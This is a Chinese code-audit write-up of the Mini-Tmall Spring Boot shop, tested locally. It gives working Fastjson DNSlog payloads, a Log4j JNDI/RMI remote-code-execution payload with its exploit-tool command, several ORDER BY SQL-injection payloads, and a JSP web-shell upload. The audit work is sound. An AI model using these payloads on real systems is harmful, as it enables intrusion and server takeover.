准备阶段
迷你天猫商城是一个基于Spring Boot的综合性B2C电商平台
贤趣开发小组/SpringBoot迷你天猫商城(Mini-Tmall)
环境要求:
1、Windows 10
系统。
2、Java版本为1.8.0_261
。
3、Mysql版本为5.7
。
第三方组件代码审计
项目是基于Maven构建的。对于Maven项目先从pom.xml文件开始审计引入的第三方组件是否存在漏洞版本
本项目引入的组件以及组件版本整理如下。
组件名称 | 组件版本 |
---|---|
SpringBoot | 2.1.6.RELEASE |
Fastjson | 1.2.58 |
Mysql | 5.1.47 |
Druid | 1.1.19 |
Taglibs | 1.2.5 |
Mybatis | 3.5.1 |
Log4j | 2.10.0 |
Fastjson审计
Fastjson简述:
Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java对象之间相互转换。
两个主要接口是JSON.toJSONString和JSON.parseObject/JSON.parse,分别实现序列化和反序列化操作。
Fastjson 1.2.58 是存在漏洞版本的 ,存在fastjson反序列化漏洞。
已经发现存在该版本存在漏洞 ,搜索是否代码里面进行了引用调用 JSON.parseObject函数
关注两个函数JSON.parse()
和JSON.parseObject()
。
全局搜索两个关键字,
不存在 JSON.parse()
发现本项目存在JSON.parseObject()
,如下图所示:
ProductController.java 文件存在
进去查看 发现151行,使用JSON.parseObject()
方法反序列化了propertyJson
参数,
向上追踪propertyJson
参数,该参数是添加产品信息
接口中产品属性JSON
字段
按住Ctrl键和鼠标左键 点击propertyJson 会跳转到这里
接口 admin/product
找到了Fastjson反序列化漏洞点 ,然后进行测试
来到后台
点击添加商品抓包
可以找到这个数据包,也发现了propertyJson 参数
POST /tmall/admin/product HTTP/1.1
Host: 127.0.0.1:8088
Content-Length: 489
sec-ch-ua:
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
sec-ch-ua-platform: ""
Origin: http://127.0.0.1:8088
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8088/tmall/admin
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=86199E468E5D983F3CA9565CE5AC5EA6; username=admin; JSESSIONID=fac8f33e-9d3e-47b3-b8b2-26200090e839; X-Litemall-Admin-Token=fac8f33e-9d3e-47b3-b8b2-26200090e839; sentinel_dashboard_cookie=B0799C8F74C9C557F308EA2756066F6E
Connection: close
product_category_id=1&product_isEnabled=0&product_name=1&product_title=1&product_price=1&product_sale_price=1&propertyJson=%7B%221%22%3A%221%22%2C%222%22%3A%221%22%2C%223%22%3A%221%22%2C%224%22%3A%221%22%2C%225%22%3A%221%22%2C%226%22%3A%221%22%2C%227%22%3A%221%22%2C%228%22%3A%221%22%2C%229%22%3A%221%22%2C%2210%22%3A%221%22%2C%2211%22%3A%221%22%2C%2212%22%3A%221%22%7D&productSingleImageList=%2Ftmall%2Fres%2Fimages%2Fitem%2FproductSinglePicture%2Fb5713846-0c77-4a51-aefc-b72a2fadad26.jpg
把参数替换成 fastjson的payload
{"@type":"java.net.Inet4Address","val":"06mhexrl.eyes.sh"}
dnslog收到响应
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0
Log4j 审计
pom.xml 引入了log4j
引入的Log4j版本为2.10.0,该版本存在远程代码执行漏洞
漏洞解析:
由于Apache Log4j2某些功能存在递归解析,攻击者可在未经身份验证的情况下构造发送带有攻击语句的数据请求包,最终造成在目标服务器上执行任意代码。
其中涉及到的lookup的主要功能就是提供另外一种方式以添加某些特殊的值到日志中,以最大化松散耦合地提供可配置属性供使用者以约定的格式进行调用。
该组件漏洞主要发生在引入的log4j-core
,log4j-api
是不存在该问题的。log4j-core
是源码,log4j-api
是接口。
漏洞调用点:
全局搜索关键字logger
找这种日志记录拼接了变量参数的点
这个触发点是前台 用户更换头像的filepath处存在log4j
点击上传抓包
这里是直接把获取原始图片名字可控,拼接上去然后传给filePath 导致下面解析log4j 了
搜索处也是存在log4j的
利用JNDI注入工具
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"
payload
${jndi:rmi://172.20.10.10:1099/8tbdfm}
直接弹出计算器
都可成功执行,但是经过测试只能这个payload
rmi://172.20.10.10:1099/8tbdfm
Mybatis
项目引入的Mybatis版本为3.5.1,该版本存在远程命令执行漏洞
但是由于 未开启二级缓存 。关键条件不成立。(不存在此漏洞)
三个关键条件:
1、用户启用了内置的二级缓存(默认不开启,需手动配置)
2、用户未设置JEP-290过滤器
3、攻击者找到了一种修改私有Map字段条目的方法,即修改org.apache.ibatis.cache.impl.PerpetualCache.cache有效的缓存密钥
常规漏洞审计
SQL注入
项目使用Mybatis版本为3.5, 查看Myabatis中*.xml
文件中是否存在使用$
拼接SQL语句的情况。使用$
是直接拼接SQL语句的,未进行转义。
全局搜索关键字${
他这里使用order by的挺多 ,order by 一般不存在过滤和预编译,是大概率存在sql注入的地方
点击左边那个绿色小箭头跳转到上一级
使用${包裹的参数是orderUtil
追踪select
继续点击getList
找到传参的那行
来到这里
找一下order by 在哪里传参 追踪order by
接口是
admin/user/{index}/{count}
是查询用户的接口
来到后台
点击搜索抓包
存在ordeyby 直接输入很大的数看会不会报错
输入一百会报错
用延时来判断
orderBy=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(3)))test)) sleep 3秒
延迟3秒
其他检测方法:
-
②、利用regexp(正则表达式)
orderBy=(select+1+regexp+if(1=1,1,0x00)) 正常
orderBy=(select+1+regexp+if(1=2,1,0x00)) 错误
-
③、利用updatexml(更新选定XML片段的内容)
orderBy=updatexml(1,if(1=1,1,user()),1) 正确
orderBy=updatexml(1,if(1=2,1,user()),1) 错误
-
④、利用extractvalue(从目标XML中返回包含所查询值的字符串)
orderBy=extractvalue(1,if(1=1,1,user())) 正确
orderBy=extractvalue(1,if(1=2,1,user())) 错误
-
⑤、时间盲注
orderBy=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常响应时间
orderBy=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒
使用sqlmap
文件上传
商城系统,可以发现很多上传文件的地方
一般代码审计文件上传可以搜索以下关键字
File
FileUpload
FileUploadBase
FileItemIteratorImpl
FileItemStreamImpl
FileUtils
UploadHandleServlet
FileLoadServlet
FileOutputStream
DiskFileItemFactory
MultipartRequestEntity
MultipartFile
com.oreilly.servlet.MultipartRequest
喜欢搜索 file 和 MultipartFile 关键字
可以看见这里存在上传点
// 上传产品类型图片-ajax 的 接口
// 上传产品类型图片-ajax
@ResponseBody
@RequestMapping(value = "admin/uploadCategoryImage", method = RequestMethod.POST, produces = "application/json;charset=utf-8")
public String uploadCategoryImage(@RequestParam MultipartFile file, HttpSession session) {
String originalFileName = file.getOriginalFilename();
logger.info("获取图片原始文件名: {}", originalFileName);
String extension = originalFileName.substring(originalFileName.lastIndexOf('.'));
String fileName = UUID.randomUUID() + extension;
String filePath = session.getServletContext().getRealPath("/") + "res/images/item/categoryPicture/" + fileName;
logger.info("文件上传路径:{}", filePath);
JSONObject object = new JSONObject();
try {
logger.info("文件上传中...");
file.transferTo(new File(filePath));
logger.info("文件上传完成");
object.put("success", true);
object.put("fileName", fileName);
} catch (IOException e) {
logger.warn("文件上传失败!");
e.printStackTrace();
object.put("success", false);
}
return object.toJSONString();
}
}
可以看见没有任何的过来 直接把文件名随机成为uuid格式的了
测试一下
上传jsp
链接shell
上传成功
XSS这个系统很多地方都存在就不审计了,单纯没过滤。
原文始发于微信公众号(R0 Team):迷你天猫商城审计
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论